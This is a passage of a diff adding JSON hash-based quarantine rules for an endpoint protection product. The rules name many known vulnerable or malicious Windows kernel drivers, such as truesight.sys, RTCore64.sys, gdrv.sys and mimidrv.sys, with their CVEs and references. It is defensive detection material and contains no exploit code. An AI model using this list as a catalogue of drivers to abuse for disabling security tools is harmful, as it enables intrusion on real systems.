+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142700Z",
+  "creation_date": "2026-03-23T11:45:31.142702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48363eb346fff1e20a8eca484e6447cb232ec8ae009555631bf7c7d7a97b15c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c5c3af-43d1-5142-9305-0ade01ddc6cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142326Z",
+  "creation_date": "2026-03-23T11:45:31.142328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4f334bccb62825eeead6a3062b7425afe50b674207f88d6fbd4aef8e5510365",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c77c29-ea52-5537-849a-83edbe7a162c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615135Z",
+  "creation_date": "2026-03-23T11:45:29.615137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615142Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c7a7b8-d0a3-5325-8796-0d39ce115cc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613648Z",
+  "creation_date": "2026-03-23T11:45:29.613651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7aaf2aa194b936e48bc90f01ee854768c8383c0be50cfb41b346666aec0cf853",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c7ce45-ec56-58b8-87a7-5b6c7e74f13c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607328Z",
+  "creation_date": "2026-03-23T11:45:29.607330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607336Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b61869b7945be062630f1dd4bae919aecee8927f7e1bc3954a21ff763f4c0867",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81d7798e-d940-52ea-a377-a9db19240d83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472666Z",
+  "creation_date": "2026-03-23T11:45:31.472670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42392416a73b17679bf2e75083f6b7cf216eebcb63a2c10192041d630d783fe8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81e24cdd-be88-5359-9047-4865188375f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463784Z",
+  "creation_date": "2026-03-23T11:45:30.463787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b30b2dc36d5e8f1ffc7281352923773fb821cdf66eb6516f82c697a524b599b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81e40760-4443-526f-8e1d-2eee594ccb7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820048Z",
+  "creation_date": "2026-03-23T11:45:30.820050Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820055Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "221369498ae77e0ff60ce2f59de6ef2bbb01aca8cd55d7a8487760068f5a544a",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81e97c58-d1ab-5ad8-94ee-a4a1d04159b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609557Z",
+  "creation_date": "2026-03-23T11:45:29.609559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1251eef40b877fd379c175c02bb83e230fa5acd30020e54acc0718ab326818b3",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81f6dccc-f833-50d1-a017-1bc8760f609e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619089Z",
+  "creation_date": "2026-03-23T11:45:29.619091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5a6fe0d0a3894f55b7ba9b4d5a03022f6146544f1f874ae1ef32c29450535b7",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82009fe8-8ce7-5f62-8540-f4fe4b9614c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480397Z",
+  "creation_date": "2026-03-23T11:45:31.480400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e032410a55db0311918bdf411fe403b745c02a6112d4ac9dc8689d1ae6dc7dd2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8209f5d8-4d19-5721-b7b5-b3459c3c36f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824367Z",
+  "creation_date": "2026-03-23T11:45:30.824369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "416e71a3fd5f8d20caea3661d95b48a70cab35650fa7fc9db59ceeff80a324da",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "820ee5ee-a888-5a77-b1e7-ac901d894562",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980837Z",
+  "creation_date": "2026-03-23T11:45:29.980839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b120de80a5462f8395cfb7153c86dfd44f29f0776ea156ec4a34fa64e5c4797",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82132cd3-b01f-5ebe-b044-89105206d9ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981147Z",
+  "creation_date": "2026-03-23T11:45:29.981149Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c830ed39c9de8fe711632bf44846615f84b10db383f47b7d7c9db29a2bd829a",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "821a7c74-445d-5d22-b6a7-b4bec318d4d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144390Z",
+  "creation_date": "2026-03-23T11:45:32.144392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e6b039e10d2b93fbce625ecb7bf04b38eac69b96385fc3b28541c8da78fd8ad",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "821b5805-f6c2-5f9b-8f73-a7bddf3102f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143114Z",
+  "creation_date": "2026-03-23T11:45:32.143116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ada2b855757c9062231f5ed4e80365b8d8094e9adbce8f26d1ff5ea0b7a70c77",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "821bb7bc-006c-55e6-9257-cebf8d3770d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490401Z",
+  "creation_date": "2026-03-23T11:45:31.490403Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fafa5175851027e63ca29722169b363f0558426ea7a58640578c3e6d2e3407a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8232b798-0edd-555f-a8e0-fbdfc96bf56a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833616Z",
+  "creation_date": "2026-03-23T11:45:30.833619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2846aeae7f34281c69a7f6183797768f4418a8fc76119800d5f15d47bcdb85ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "823655e8-9929-50fb-97fa-f5d8c9532ef8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147734Z",
+  "creation_date": "2026-03-23T11:45:31.147736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7055b8634a17d0a88825995b91cfebf00d177add33c1d1d5d2de77b000128d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "823b12d0-a926-59c3-9229-bb7e5c0f6a09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146402Z",
+  "creation_date": "2026-03-23T11:45:31.146404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74edf2e45870d507c804ec269419b327cf2bbff82dd9330dfc91ebc84192f521",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "823b1426-bd3d-5db3-93ea-b9006a2bf178",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971714Z",
+  "creation_date": "2026-03-23T11:45:29.971716Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "082adcdc2d246d2291bcf135a7519840a84f27cfa3143d1372a9e2aa5e514dbd",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "825c2dbe-c2a3-54cb-ba17-2912988484af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969906Z",
+  "creation_date": "2026-03-23T11:45:29.969908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b38427f167fde644868a62f0aa1ed03790137905c97024ac21729fa6153eca2",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "825c9d7d-51f7-5863-b60d-52e6654c926d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493967Z",
